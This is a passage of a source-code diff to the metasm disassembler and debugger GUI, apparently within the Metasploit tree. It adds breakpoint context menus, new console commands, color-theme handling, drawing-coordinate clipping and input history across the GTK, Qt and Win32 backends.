oldcb[a] end @@ -48,8 +48,8 @@ class DbgWidget < ContainerVBoxWidget pc = @dbg.resolve_expr(@watchpoint[@code]) graph = :graph if @dbg.disassembler.function_blocks(pc).to_a.length < 100 - @code.focus_addr(pc, graph) - @mem.focus_addr(0, :hex) + @code.focus_addr(pc, graph, true) + @mem.focus_addr(0, :hex, true) end def swapin_tid @@ -98,10 +98,16 @@ class DbgWidget < ContainerVBoxWidget # TODO check_target always, incl when :stopped def post_dbg_run + # focus currently stopped threads + if @dbg.state == :running and tt = @dbg.tid_stuff.find { |tid, tstuff| tstuff[:state] != :running } + @dbg.tid = tt[0] + end + want_redraw = true return if @idle_checking ||= nil # load only one bg proc @idle_checking = true Gui.idle_add { + protect { @dbg.check_target if @dbg.state == :running redraw if want_redraw # redraw once if the target is running (less flicker with singlestep) @@ -121,6 +127,7 @@ class DbgWidget < ContainerVBoxWidget } redraw false + } } end @@ -166,7 +173,10 @@ class DbgWidget < ContainerVBoxWidget l = listwindow('running processes', list, :noshow => true, :color_callback => lambda { |le| [:grey, :palegrey] if le[0] == me } - ) { |e| i.text = e[0] } + ) { |e| + i.text = e[0] + i.keypress(:enter) if l.destroyed? + } l.x += l.width l.show false @@ -198,10 +208,28 @@ class DbgWidget < ContainerVBoxWidget case f when /\.(c|h|cpp)$/; @dbg.disassembler.parse_c_file(f) when /\.map$/; @dbg.load_map(f) - when /\.rb$/; @dbg.load_plugin(f) + when /\.rb$/; @dbg.load_plugin(f) ; @console.add_log "loaded plugin #{File.basename(f, '.rb')}" else messagebox("unsupported file extension #{f}") end end + + def extend_contextmenu(tg, menu, addr=nil) + if addr + bm = tg.new_menu + bl = @dbg.all_breakpoints(addr) + if not bl.empty? + tg.addsubmenu(bm, '_clear breakpoint') { bl.each { |b| @dbg.del_bp(b) } } + end + tg.addsubmenu(bm, '_go here') { @dbg.bpx(addr, true) ; dbg_continue } + tg.addsubmenu(bm, '_bpx') { @dbg.bpx(addr) } + tg.addsubmenu(bm, 'bpm _read') { @dbg.hwbp(addr, :r, 1) } + tg.addsubmenu(bm, 'bpm _write') { @dbg.hwbp(addr, :w, 1) } + tg.addsubmenu(menu, '_bp', bm) + end + if @parent_widget.respond_to?(:extend_contextmenu) + @parent_widget.extend_contextmenu(tg, menu, addr) + end + end end @@ -221,10 +249,9 @@ class DbgRegWidget < DrawableWidget swapin_tid @reg_pos = [] # list of x y w h vx of the reg drawing on widget, vx is x of value - - @default_color_association = { :label => :black, :data => :blue, :write_pending => :darkred, - :changed => :darkgreen, :caret => :black, :background => :white, - :inactive => :palegrey } + + @default_color_association = ColorTheme.merge :label => :text, :data => :blue, :write_pending => :darkred, + :changed => :green, :caret => :text, :inactive => :palegrey end def swapin_tid @@ -262,7 +289,6 @@ class DbgRegWidget < DrawableWidget end def paint - curaddr = 0 x = 1 y = 0 @@ -402,7 +428,7 @@ class DbgRegWidget < DrawableWidget @write_pending[reg] = v rsz = 1 end - + if rsz == 1 @caret_reg += 1 @caret_reg = @registers.length if @caret_reg >= @registers.length + @flags.length @@ -472,8 +498,8 @@ class DbgConsoleWidget < DrawableWidget @dbg.set_log_proc { |l| add_log l } - @default_color_association = { :log => :palegrey, :curline => :white, :caret => :yellow, - :background => :black, :status => :black, :status_bg => '088' } + @default_color_association = ColorTheme.merge :log => :palegrey, :curline => :white, :caret => :yellow, + :background => :black, :status => :black, :status_bg => '088' init_commands end @@ -513,6 +539,21 @@ class DbgConsoleWidget < DrawableWidget clipboard_copy(txt) end + # copy/paste word under cursor (paste when on last line) + def rightclick(x, y) + y -= height % @font_height + y = y.to_i / @font_height + hc = height / @font_height + x /= @font_width + if y >= hc - 2 + keypress_ctrl ?v + else + txt = @log.reverse[@log_offset + hc - y - 3].to_s + word = txt[0...x].to_s[/\w*$/] << txt[x..-1].to_s[/^\w*/] + clipboard_copy(word) + end + end + def mouse_wheel(dir, x, y) case dir when :up; @log_offset += 3 @@ -531,12 +572,12 @@ class DbgConsoleWidget < DrawableWidget w_w = width - y -= @font_height + y -= @font_height draw_rectangle_color(:status_bg, 0, y, w_w, @font_height) str = "#{@dbg.pid}:#{@dbg.tid} #{@dbg.state} #{@dbg.info}" draw_string_color(:status, w_w-str.length*@font_width-1, y, str) draw_string_color(:status, 1+@font_width, y, @statusline) - y -= @font_height + y -= @font_height w_w_c = w_w/@font_width @caret_y = y @@ -744,7 +785,7 @@ class DbgConsoleWidget < DrawableWidget def cmd_dd(addr, dlen=nil, len=nil) if addr.kind_of? String s = addr.strip - addr = solve_expr!(s) + addr = solve_expr!(s) || @parent_widget.mem.curaddr if not s.empty? s = s[1..-1] if s[0] == ?, len ||= solve_expr(s) @@ -757,7 +798,7 @@ class DbgConsoleWidget < DrawableWidget le = (@dbg.cpu.endianness == :little) data = '' if @dbg.memory.page_invalid?(addr) case dlen - when nil; add_log "#{Expression[addr]} #{data.unpack('C*').map { |c| '%02X' % c }.join(' ').ljust(2*16+15)} #{data.tr("\0-\x1f\x7f-\xff", '.')}" + when nil; add_log "#{Expression[addr]} #{data.unpack('C*').map { |c| '%02X' % c }.join(' ').ljust(2*16+15)} #{data.tr("^\x20-\x7e", '.')}" when 1; add_log "#{Expression[addr]} #{data.unpack('C*').map { |c| '%02X' % c }.join(' ')}" when 2; add_log "#{Expression[addr]} #{data.unpack(le ? 'v*' : 'n*').map { |c| '%04X' % c }.join(' ')}" when 4; add_log "#{Expression[addr]} #{data.unpack(le ? 'V*' : 'N*').map { |c| '%08X' % c }.join(' ')}" @@ -767,8 +808,12 @@ class DbgConsoleWidget < DrawableWidget len -= 16 end else - @parent_widget.mem.view(:hex).data_size = dlen if dlen - @parent_widget.mem.focus_addr(solve_expr(addr)) if addr and addr != '' + if dlen + @parent_widget.mem.view(:hex).data_size = dlen + @parent_widget.mem.view(:hex).resized + @parent_widget.mem.showview(:hex) + end + @parent_widget.mem.focus_addr(solve_expr(addr)) @parent_widget.mem.gui_update end end @@ -783,6 +828,18 @@ class DbgConsoleWidget < DrawableWidget new_command('dw', 'dump/focus words in data window') { |arg| cmd_dd(arg, 2) } new_command('dd', 'dump/focus dwords in data window') { |arg| cmd_dd(arg, 4) } new_command('dq', 'dump/focus qwords in data window') { |arg| cmd_dd(arg, 8) } + new_command('dc', 'focus C struct in data window: ') { |arg| + name, addr = arg.strip.split(/\s+/, 2) + addr = (addr ? solve_expr(addr) : @parent_widget.mem.curaddr) + @parent_widget.mem.focus_addr(addr, :cstruct, false, name) + } + new_command('dC', 'dump C struct: dC ') { |arg| + name, addr = arg.strip.split(/\s+/, 2) + addr = (addr ? solve_expr(addr) : @parent_widget.mem.curaddr) + if st = @dbg.disassembler.c_parser.decode_c_struct(name, @dbg.memory, addr) + add_log st.to_s.gsub("\t", ' ') + end + } new_command('u', 'focus code window on an address') { |arg| p.code.focus_addr(solve_expr(arg)) } new_command('.', 'focus code window on current address') { p.code.focus_addr(solve_expr(@dbg.register_pc.to_s)) } new_command('wc', 'set code window height') { |arg| @@ -828,12 +885,14 @@ class DbgConsoleWidget < DrawableWidget cb = lambda { a.split(';').each { |aaa| run_command(aaa) } } if a @dbg.bpx(solve_expr(e), o, cd, &cb) } - new_command('hwbp', 'set a hardware breakpoint') { |arg| - arg =~ /^(.*?)(?: if (.*?))?(?: do (.*?))?(?: if (.*?))?$/i - e, c, a = $1, ($2 || $4), $3 + new_command('hwbp', 'set a hardware breakpoint (hwbp 0x2345 w)') { |arg| + arg =~ /^(.*?)( once)?( [rwx])?(?: if (.*?))?(?: do (.*?))?(?: if (.*?))?$/i + e, o, t, c, a = $1, $2, $3, ($4 || $6), $5 + o = o ? true : false + t = (t || 'x').strip.to_sym cd = parse_expr(c) if c cb = lambda { a.split(';').each { |aaa| run_command(aaa) } } if a - @dbg.hwbp(solve_expr(e), :x, 1, false, cd, &cb) + @dbg.hwbp(solve_expr(e), t, 1, o, cd, &cb) } new_command('bpm', 'set a hardware memory breakpoint: bpm r 0x4800ff 16') { |arg| arg =~ /^(.*?)(?: if (.*?))?(?: do (.*?))?(?: if (.*?))?$/i @@ -846,7 +905,7 @@ class DbgConsoleWidget < DrawableWidget exp = solve_expr!(e) len = solve_expr(e) if e != '' len ||= 1 - @dbg.hwbp(exp, mode, len, false, cd, &cb) + @dbg.bpm(exp, mode, len, false, cd, &cb) } new_command('g', 'wait until target reaches the specified address') { |arg| arg =~ /^(.*?)(?: if (.*?))?(?: do (.*?))?(?: if (.*?))?$/i @@ -1038,7 +1097,7 @@ class DbgConsoleWidget < DrawableWidget add_log "#{t} #{stf[:state]} #{stf[:info]}" } } - + new_command('pid', 'select a pid') { |arg| if pid = solve_expr(arg) @dbg.pid = pid @@ -1072,7 +1131,7 @@ class DbgConsoleWidget < DrawableWidget @dbg.ignore_newthread = false @dbg.ignore_endthread = false } - new_command('thread_event_ignore', 'ignore thread creation/termination') { + new_command('thread_events_ignore', 'ignore thread creation/termination') { @dbg.ignore_newthread = true @dbg.ignore_endthread = true } @@ -1101,6 +1160,12 @@ class DbgConsoleWidget < DrawableWidget @dbg.create_process(arg) } + new_command('plugin', 'load', 'load a debugger plugin') { |arg| + @dbg.load_plugin arg + add_log "loaded plugin #{File.basename(arg, '.rb')}" + } + + @dbg.ui_command_setup(self) if @dbg.respond_to? :ui_command_setup end @@ -1122,12 +1187,13 @@ class DbgConsoleWidget < DrawableWidget end def run_command(cmd) + cmd = cmd.sub(/^\s+/, '') cn = cmd.split.first if not @commands[cn] a = @commands.keys.find_all { |k| k[0, cn.length] == cn } cn = a.first if a.length == 1 end - if pc = @commands[cn] + if pc = @commands[cn] pc[cmd.split(/\s+/, 2)[1].to_s] else add_log 'unknown command' diff --git a/lib/metasm/metasm/gui/gtk.rb b/lib/metasm/metasm/gui/gtk.rb index a2473eb41e..05c20ab1ef 100644 --- a/lib/metasm/metasm/gui/gtk.rb +++ b/lib/metasm/metasm/gui/gtk.rb @@ -145,7 +145,7 @@ end class DrawableWidget < Gtk::DrawingArea include Msgbox - attr_accessor :parent_widget, :caret_x, :caret_y, :hl_word + attr_accessor :parent_widget, :caret_x, :caret_y, :hl_word, :hl_word_re # this hash is used to determine the colors of the Gui elements (background, caret, ...) # modifications to it are only useful before the widget is first rendered (IE before Gui.main) attr_accessor :default_color_association @@ -153,7 +153,7 @@ class DrawableWidget < Gtk::DrawingArea # keypress event keyval traduction table Keyboard_trad = Gdk::Keyval.constants.grep(/^GDK_/).inject({}) { |h, cst| v = Gdk::Keyval.const_get(cst) - key = cst.to_s.sub(/^GDK_/, '').sub(/^KP_/, '') + key = cst.to_s.sub(/^GDK_/, '').sub(/^KEY_/, '').sub(/^KP_/, '') if key.length == 1 key = key[0] # ?a, ?b etc else @@ -161,7 +161,7 @@ class DrawableWidget < Gtk::DrawingArea key = { :page_up => :pgup, :page_down => :pgdown, :next => :pgdown, :escape => :esc, :return => :enter, :l1 => :f11, :l2 => :f12, - :prior => :pgup, + :prior => :pgup, :menu => :popupmenu, :space => ?\ , :asciitilde => ?~, :quoteleft => ?`, @@ -189,6 +189,15 @@ class DrawableWidget < Gtk::DrawingArea h.update v => key } + BasicColor = { :white => 'fff', :palegrey => 'ddd', :black => '000', :grey => '444', + :red => 'f44', :darkred => '800', :palered => 'faa', + :green => '4f4', :darkgreen => '080', :palegreen => 'afa', + :blue => '44f', :darkblue => '008', :paleblue => 'aaf', + :yellow => 'ff4', :darkyellow => '440', :paleyellow => 'ffa', + :orange => 'fc8', + + } + def initialize(*a, &b) @parent_widget = nil @@ -226,7 +235,6 @@ class DrawableWidget < Gtk::DrawingArea grab_focus case ev.button when 1; protect { click(ev.x, ev.y) } if respond_to? :click - when 3; protect { rightclick(ev.x, ev.y) } if respond_to? :rightclick end when Gdk::Event::Type::BUTTON2_PRESS case ev.button @@ -245,8 +253,11 @@ class DrawableWidget < Gtk::DrawingArea } if respond_to? :mousemove signal_connect('button_release_event') { |w, ev| - protect { mouserelease(ev.x, ev.y) } if ev.button == 1 - } if respond_to? :mouserelease + case ev.button + when 1; protect { mouserelease(ev.x, ev.y) } if respond_to? :mouserelease + when 3; protect { rightclick(ev.x, ev.y) } if respond_to? :rightclick + end + } signal_connect('scroll_event') { |w, ev| dir = case ev.direction @@ -273,12 +284,7 @@ class DrawableWidget < Gtk::DrawingArea } signal_connect('realize') { - { :white => 'fff', :palegrey => 'ddd', :black => '000', :grey => '444', - :red => 'f00', :darkred => '800', :palered => 'fcc', - :green => '0f0', :darkgreen => '080', :palegreen => 'cfc', - :blue => '00f', :darkblue => '008', :paleblue => 'ccf', - :yellow => 'ff0', :darkyellow => '440', :paleyellow => 'ffc', - }.each { |tag, val| + BasicColor.each { |tag, val| @color[tag] = color(val) } @@ -302,7 +308,11 @@ class DrawableWidget < Gtk::DrawingArea # create a color from a 'rgb' description def color(val) if not @color[val] - @color[val] = Gdk::Color.new(*val.unpack('CCC').map { |c| (c.chr*4).hex }) + v = case val.length + when 3; val.scan(/./).map { |c| (c*4).to_i(16) } + when 6; val.scan(/../).map { |c| (c+c).to_i(16) } + end + @color[val] = Gdk::Color.new(*v) window.colormap.alloc_color(@color[val], true, true) end @color[val] @@ -325,20 +335,48 @@ class DrawableWidget < Gtk::DrawingArea # change the color association # arg is a hash function symbol => color symbol - # color must be allocated # check #initialize/sig('realize') for initial function/color list + # if called before the widget is first displayed onscreen, will register a hook to re-call itself later def set_color_association(hash) - hash.each { |k, v| @color[k] = color(v) } - modify_bg Gtk::STATE_NORMAL, @color[:background] - gui_update + if not realized? + sid = signal_connect('realize') { + signal_handler_disconnect(sid) + set_color_association(hash) + } + else + hord = Hash.new { |h, k| h[k] = (hash[k] ? h[hash[k]] + 1 : 0) } + hash.sort_by { |k, v| hord[k] }.each { |k, v| @color[k] = color(v) } + modify_bg Gtk::STATE_NORMAL, @color[:background] + gui_update + end + end + + def new_menu + toplevel.new_menu + end + def addsubmenu(*a, &b) + toplevel.addsubmenu(*a, &b) + end + def popupmenu(m, x, y) + toplevel.popupmenu(m, (x+allocation.x).to_i, (y+allocation.y).to_i) end # update @hl_word from a line & offset, return nil if unchanged - def update_hl_word(line, offset) + def update_hl_word(line, offset, mode=:asm) return if not line word = line[0...offset].to_s[/\w*$/] << line[offset..-1].to_s[/^\w*/] word = nil if word == '' - @hl_word = word if @hl_word != word + if @hl_word != word + if word + if mode == :asm and defined?(@dasm) and @dasm + re = @dasm.gui_hilight_word_regexp(word) + else + re = Regexp.escape word + end + @hl_word_re = /^(.*?)(\b(?:#{re})\b)/ + end + @hl_word = word + end end def paint @@ -385,6 +423,20 @@ class DrawableWidget < Gtk::DrawingArea end def draw_rectangle(x, y, w, h) + # GTK clips coords around 0x8000 + return if x > 0x7000 or y > 0x7000 + if x < -0x7000 + w += x + 100 + x = -100 + end + if y < -0x7000 + h += y + 100 + y = -100 + end + return if w <= 0 or h <= 0 + w = 0x7000 if w > 0x7000 + h = 0x7000 if h > 0x7000 + @w.draw_rectangle(@gc, true, x, y, w, h) end @@ -394,6 +446,29 @@ class DrawableWidget < Gtk::DrawingArea end def draw_line(x, y, ex, ey) + if x.abs > 0x7000 + return if ex.abs > 0x7000 and ((ex < 0) == (x < 0)) + ox = x + x = ((x > 0) ? 0x7000 : -0x7000) + y = ey+(x-ex)*(y-ey)/(ox-ex) + end + if ex.abs > 0x7000 + oex = ex + ex = ((ex > 0) ? 0x7000 : -0x7000) + ey = y+(ex-x)*(ey-y)/(oex-x) + end + if y.abs > 0x7000 + return if ey.abs > 0x7000 and ((ey < 0) == (y < 0)) + oy = y + y = ((y > 0) ? 0x7000 : -0x7000) + x = ex+(y-ey)*(x-ex)/(oy-ey) + end + if ey.abs > 0x7000 + oey = ey + ey = ((ey > 0) ? 0x7000 : -0x7000) + ex = x+(ey-y)*(ex-x)/(oey-y) + end + @w.draw_line(@gc, x, y, ex, ey) end @@ -403,6 +478,7 @@ class DrawableWidget < Gtk::DrawingArea end def draw_string(x, y, str) + return if x.abs > 0x7000 or y.abs > 0x7000 @layout.text = str @w.draw_layout(@gc, x, y, @layout) end @@ -412,6 +488,23 @@ class DrawableWidget < Gtk::DrawingArea draw_string(x, y, str) end + # same as draw_string_color + hilight @hl_word_re + def draw_string_hl(col, x, y, str) + if @hl_word + while str =~ @hl_word_re + s1, s2 = $1, $2 + draw_string_color(col, x, y, s1) + x += s1.length*@font_width + hl_w = s2.length*@font_width + draw_rectangle_color(:hl_word_bg, x, y, hl_w, @font_height) + draw_string_color(:hl_word, x, y, s2) + x += hl_w + str = str[s1.length+s2.length..-1] + end + end + draw_string_color(col, x, y, str) + end + def clipboard_copy(buf) clipboard = Gtk::Clipboard.get(Gdk::Selection::PRIMARY) clipboard.text = buf @@ -477,15 +570,35 @@ class InputBox < Gtk::Dialog @textwidget = Gtk::TextView.new if opts[:text] @textwidget.buffer.text = opts[:text].to_s - @textwidget.buffer.move_mark('selection_bound', @textwidget.buffer.start_iter) - @textwidget.buffer.move_mark('insert', @textwidget.buffer.end_iter) + text_select_all end + @@history ||= {} + histkey = opts[:history] || str[0, 10] + @history = (@@history[histkey] ||= []) + @history_off = @history.length + @textwidget.signal_connect('key_press_event') { |w, ev| key = DrawableWidget::Keyboard_trad[ev.keyval] case key - when :escape; response(RESPONSE_REJECT) ; true - when :enter; response(RESPONSE_ACCEPT) ; true + when :escape + response(RESPONSE_REJECT) + true + when :enter + @history << @textwidget.buffer.text.to_s + @history.pop if @history.last == '' + @history.pop if @history.last == @history[-2] + response(RESPONSE_ACCEPT) + true + when :up, :down + txt = @textwidget.buffer.text.to_s + if (@history_off < @history.length or @history.last != txt) + @history[@history_off] = txt + end + @history_off += (key == :up ? -1 : 1) + @history_off %= @history.length + @textwidget.buffer.text = @history[@history_off].to_s + text_select_all end } @@ -502,9 +615,9 @@ class InputBox < Gtk::Dialog Gtk::Drag.dest_set(self, Gtk::Drag::DEST_DEFAULT_MOTION | Gtk::Drag::DEST_DEFAULT_DROP, - [['text/plain', 0, 0], ['text/uri-list', 0, 0]], + [['text/plain', 0, 0], ['text/uri-list', 0, 0]], Gdk::DragContext::ACTION_COPY | Gdk::DragContext::ACTION_MOVE) - + signal_connect('drag_data_received') { |w, dc, x, y, data, info, time| dc.targets.each { |target| next if target.name != 'text/plain' and target.name != 'text/uri-list' @@ -521,6 +634,11 @@ class InputBox < Gtk::Dialog present end + def text_select_all + @textwidget.buffer.move_mark('selection_bound', @textwidget.buffer.start_iter) + @textwidget.buffer.move_mark('insert', @textwidget.buffer.end_iter) + end + def text ; @textwidget.buffer.text ; end def text=(nt) ; @textwidget.buffer.text = nt ; end end @@ -604,7 +722,7 @@ class ListWindow < Gtk::Dialog tvc = Gtk::TreeViewColumn.new(col, crt) tvc.sort_column_id = i tvc.set_cell_data_func(crt) { |_tvc, _crt, model, iter| - _crt.text = iter[i] + _crt.text = iter[i] if @color_callback fu = (0...cols.length).map { |ii| iter[ii] } fg, bg = @color_callback[fu] @@ -635,7 +753,7 @@ class ListWindow < Gtk::Dialog remove vbox add Gtk::ScrolledWindow.new.add(treeview) - toplevel.set_default_size cols.length*120, 400 + toplevel.set_default_size cols.length*240, 400 show if not h[:noshow] @@ -666,6 +784,7 @@ class Window < Gtk::Window @menubar = Gtk::MenuBar.new @accel_group = Gtk::AccelGroup.new + set_gravity Gdk::Window::GRAVITY_STATIC @vbox.add @menubar, 'expand' => false @child = nil s = Gdk::Screen.default @@ -678,14 +797,13 @@ class Window < Gtk::Window initialize_window(*a, &b) build_menu update_menu - - + Gtk::Drag.dest_set(self, Gtk::Drag::DEST_DEFAULT_MOTION | Gtk::Drag::DEST_DEFAULT_DROP, - [['text/plain', 0, 0], ['text/uri-list', 0, 0]], + [['text/plain', 0, 0], ['text/uri-list', 0, 0]], Gdk::DragContext::ACTION_COPY | Gdk::DragContext::ACTION_MOVE) - + signal_connect('drag_data_received') { |w, dc, x, y, data, info, time| dc.targets.each { |target| next if target.name != 'text/plain' and target.name != 'text/uri-list' @@ -734,6 +852,13 @@ class Window < Gtk::Window l.grep(::Array).first if l end + def popupmenu(m, x, y) + mh = Gtk::Menu.new + m.each { |e| create_menu_item(mh, e) } + mh.show_all + mh.popup(nil, nil, 2, 0) { |_m, _x, _y, _p| [position[0]+x, position[1]+y, true] } + end + # append stuff to a menu # arglist: # empty = menu separator @@ -801,13 +926,10 @@ class Window < Gtk::Window key = accel[-1] if key == ?> key = accel[/<(.*)>/, 1] - key = case key - when 'enter'; Gdk::Keyval::GDK_Return - when 'esc'; Gdk::Keyval::GDK_Escape - when 'tab'; Gdk::Keyval::GDK_Tab - when /^f(\d\d?)$/i; Gdk::Keyval.const_get("GDK_#{key.upcase}") - else ?? - end + key = DrawableWidget::Keyboard_trad.index(case key + when 'enter', 'esc', 'tab', /^f(\d\d?)$/i; key.downcase.to_sym + else ?? + end) end key = key.unpack('C')[0] if key.kind_of? String # yay rb19 item.add_accelerator('activate', @accel_group, key, (accel[0] == ?^ ? Gdk::Window::CONTROL_MASK : 0), Gtk::ACCEL_VISIBLE) @@ -815,7 +937,7 @@ class Window < Gtk::Window if action a = action if check - a = lambda { item.active = action.call(item.active?) } + a = lambda { |it| it.active = action.call(it.active?) } end item.signal_connect('activate') { protect { a.call(item) } } end @@ -838,7 +960,7 @@ class ToolWindow < Gtk::Dialog initialize_window(*a, &b) show_all end - + def widget=(w) remove @child if @child @child = w diff --git a/lib/metasm/metasm/gui/qt.rb b/lib/metasm/metasm/gui/qt.rb index d0ba546268..d7a4767acf 100644 --- a/lib/metasm/metasm/gui/qt.rb +++ b/lib/metasm/metasm/gui/qt.rb @@ -323,11 +323,21 @@ Execute Printer Play Sleep Zoom Cancel end # update @hl_word from a line & offset, return nil if unchanged - def update_hl_word(line, offset) + def update_hl_word(line, offset, mode=:asm) return if not line word = line[0...offset].to_s[/\w*$/] << line[offset..-1].to_s[/^\w*/] word = nil if word == '' - @hl_word = word if @hl_word != word + if @hl_word != word + if word + if mode == :asm and defined?(@dasm) and @dasm + re = @dasm.gui_hilight_word_regexp(word) + else + re = Regexp.escape word + end + @hl_word_re = /^(.*?)(\b(?:#{re})\b)/ + end + @hl_word = word + end end # invalidate the whole widget area diff --git a/lib/metasm/metasm/gui/win32.rb b/lib/metasm/metasm/gui/win32.rb index a0e7b3dd5c..ca9fb656d6 100644 --- a/lib/metasm/metasm/gui/win32.rb +++ b/lib/metasm/metasm/gui/win32.rb @@ -685,7 +685,7 @@ TrackMouseEvent( #define QS_ALLEVENTS (QS_INPUT | QS_POSTMESSAGE | QS_TIMER | QS_PAINT | QS_HOTKEY) #define QS_ALLINPUT (QS_ALLEVENTS | QS_SENDMESSAGE) -#define WAIT_TIMEOUT 258L +#define WAIT_TIMEOUT 258L #define CF_TEXT 1 #define CF_BITMAP 2 @@ -960,6 +960,33 @@ GetTextExtentPoint32A( __in_ecount(c) LPCSTR lpString, __in int c, __out LPPOINT lpsz); + +typedef struct tagRECT { + LONG left; + LONG top; + LONG right; + LONG bottom; +} RECT, *LPRECT; + +#define TPM_LEFTBUTTON 0x0000L +#define TPM_RIGHTBUTTON 0x0002L +#define TPM_LEFTALIGN 0x0000L +#define TPM_CENTERALIGN 0x0004L +#define TPM_RIGHTALIGN 0x0008L +#define TPM_TOPALIGN 0x0000L +#define TPM_VCENTERALIGN 0x0010L +#define TPM_BOTTOMALIGN 0x0020L +#define TPM_HORIZONTAL 0x0000L +#define TPM_VERTICAL 0x0040L +#define TPM_NONOTIFY 0x0080L +#define TPM_RETURNCMD 0x0100L +#define TPM_RECURSE 0x0001L +#define TPM_HORPOSANIMATION 0x0400L +#define TPM_HORNEGANIMATION 0x0800L +#define TPM_VERPOSANIMATION 0x1000L +#define TPM_VERNEGANIMATION 0x2000L +#define TPM_NOANIMATION 0x4000L +#define TPM_LAYOUTRTL 0x8000L WINUSERAPI BOOL WINAPI @@ -980,6 +1007,17 @@ WINAPI DestroyMenu( __in HMENU hMenu); WINUSERAPI +BOOL +WINAPI +TrackPopupMenu( + __in HMENU hMenu, + __in UINT uFlags, + __in int x, + __in int y, + __in int nReserved, + __in HWND hWnd, + __in_opt CONST RECT *prcRect); +WINUSERAPI DWORD WINAPI CheckMenuItem( @@ -999,13 +1037,6 @@ AppendMenuA( #define OPAQUE 2 int WINAPI SetBkMode(__in HDC hdc, __in int mode); -typedef struct tagRECT { - LONG left; - LONG top; - LONG right; - LONG bottom; -} RECT, *LPRECT; - WINUSERAPI int WINAPI @@ -1086,6 +1117,18 @@ UpdateWindow( WINUSERAPI BOOL WINAPI +ClientToScreen( + __in HWND hWnd, + __inout LPPOINT pt); +WINUSERAPI +BOOL +WINAPI +ScreenToClient( + __in HWND hWnd, + __inout LPPOINT pt); +WINUSERAPI +BOOL +WINAPI GetClientRect( __in HWND hWnd, __out LPRECT lpRect); @@ -1390,11 +1433,11 @@ class WinWidget return if not @parent @parent.set_focus(self) if @parent.respond_to? :set_focus end - + def focus? return true if not @parent (@parent.respond_to?(:focus?) ? @parent.focus? : true) and - (@parent.respond_to?(:has_focus?) ? @parent.has_focus?(self) : true) + (@parent.respond_to?(:has_focus?) ? @parent.has_focus?(self) : true) end def redraw @@ -1484,6 +1527,7 @@ class ContainerChoiceWidget < WinWidget def set_focus(c) @curview = c + grab_focus redraw end end @@ -1519,7 +1563,7 @@ class ContainerVBoxWidget < WinWidget cy = 0 pv = [] @views.each_with_index { |v, i| - if y >= cy and y < cy + v.height + if y >= cy+1 and y < cy + v.height - 1 if @focus_idx != i @focus_idx = i redraw @@ -1528,8 +1572,7 @@ class ContainerVBoxWidget < WinWidget return end cy += v.height - if y >= cy and y < cy+@spacing - vsz = v + if y >= cy-1 and y < cy+@spacing+1 @resizing = v @wantheight[@resizing] ||= v.height @tmpwantheight = [] @@ -1665,12 +1708,13 @@ class ContainerVBoxWidget < WinWidget def set_focus(c) @focus_idx = @views.index(c) + grab_focus redraw end end module TextWidget - attr_accessor :caret_x, :caret_y, :hl_word, :font_width, :font_height + attr_accessor :caret_x, :caret_y, :hl_word, :hl_word_re, :font_width, :font_height def initialize_text @caret_x = @caret_y = 0 # text cursor position @@ -1679,11 +1723,21 @@ module TextWidget @hl_word = nil end - def update_hl_word(line, offset) + def update_hl_word(line, offset, mode=:asm) return if not line word = line[0...offset].to_s[/\w*$/] << line[offset..-1].to_s[/^\w*/] word = nil if word == '' - @hl_word = word if @hl_word != word + if @hl_word != word + if word + if mode == :asm and defined?(@dasm) and @dasm + re = @dasm.gui_hilight_word_regexp(word) + else + re = Regexp.escape(word) + end + @hl_word_re = /^(.*?)(\b(?:#{re})\b)/ + end + @hl_word = word + end end def set_caret_from_click(x, y) @@ -1737,7 +1791,15 @@ end class DrawableWidget < WinWidget include TextWidget - attr_accessor :buttons + BasicColor = { :white => 'fff', :palegrey => 'ddd', :black => '000', :grey => '444', + :red => 'f44', :darkred => '800', :palered => 'faa', + :green => '4f4', :darkgreen => '080', :palegreen => 'afa', + :blue => '44f', :darkblue => '008', :paleblue => 'aaf', + :yellow => 'ff4', :darkyellow => '440', :paleyellow => 'ffa', + :orange => 'fc8', + } + attr_accessor :buttons, :parent_widget + attr_accessor :default_color_association def initialize(*a, &b) @color = {} @@ -1754,12 +1816,7 @@ class DrawableWidget < WinWidget end def initialize_visible_ - { :white => 'fff', :palegrey => 'ddd', :black => '000', :grey => '444', - :red => 'f00', :darkred => '800', :palered => 'fcc', - :green => '0f0', :darkgreen => '080', :palegreen => 'cfc', - :blue => '00f', :darkblue => '008', :paleblue => 'ccf', - :yellow => 'ff0', :darkyellow => '440', :paleyellow => 'ffc', - }.each { |tag, val| + BasicColor.each { |tag, val| @color[tag] = color(val) } @color[:winbg] = Win32Gui.getsyscolor(Win32Gui::COLOR_BTNFACE) @@ -1768,11 +1825,24 @@ class DrawableWidget < WinWidget initialize_visible if respond_to? :initialize_visible end - def set_color_association(h) - h.each { |k, v| @color[k] = color(v) } + def set_color_association(hash) + hord = Hash.new { |h, k| h[k] = (hash[k] ? h[hash[k]] + 1 : 0) } + hash.sort_by { |k, v| hord[k] }.each { |k, v| @color[k] = color(v) } gui_update end + def new_menu + toplevel.new_menu + end + + def addsubmenu(*a, &b) + toplevel.addsubmenu(*a, &b) + end + + def popupmenu(m, x, y) + toplevel.popupmenu(m, (x+@x).to_i, (y+@y).to_i) + end + def paint_(realhdc) @hdc = Win32Gui.createcompatibledc(realhdc) bmp = Win32Gui.createcompatiblebitmap(realhdc, @width, @height) @@ -1813,7 +1883,7 @@ class DrawableWidget < WinWidget end def color(col) - @color[col] ||= col.sub(/^(\w)(\w)(\w)$/, '\\3\\3\\2\\2\\1\\1').to_i(16) + @color[col] ||= col.sub(/^(\w\w)(\w\w)(\w\w)$/, '\\3\\2\\1').sub(/^(\w)(\w)(\w)$/, '\\3\\3\\2\\2\\1\\1').to_i(16) end def draw_color(col) @@ -1853,12 +1923,29 @@ class DrawableWidget < WinWidget draw_string(x, y, text) end + # same as draw_string_color + hilight @hl_word_re + def draw_string_hl(col, x, y, str) + if @hl_word + while str =~ @hl_word_re + s1, s2 = $1, $2 + draw_string_color(col, x, y, s1) + x += s1.length*@font_width + hl_w = s2.length*@font_width + draw_rectangle_color(:hl_word_bg, x, y, hl_w, @font_height) + draw_string_color(:hl_word, x, y, s2) + x += hl_w + str = str[s1.length+s2.length..-1] + end + end + draw_string_color(col, x, y, str) + end + def keyboard_state(query=nil) case query when :control, :ctrl Win32Gui.getkeystate(Win32Gui::VK_CONTROL) & 0x8000 > 0 when :shift - Win32Gui.getkeystate(Win32Gui::VK_SHIFT) & 0x8000 > 0 + Win32Gui.getkeystate(Win32Gui::VK_SHIFT) & 0x8000 > 0 when :alt Win32Gui.getkeystate(Win32Gui::VK_MENU) & 0x8000 > 0 else @@ -1952,10 +2039,10 @@ class Window 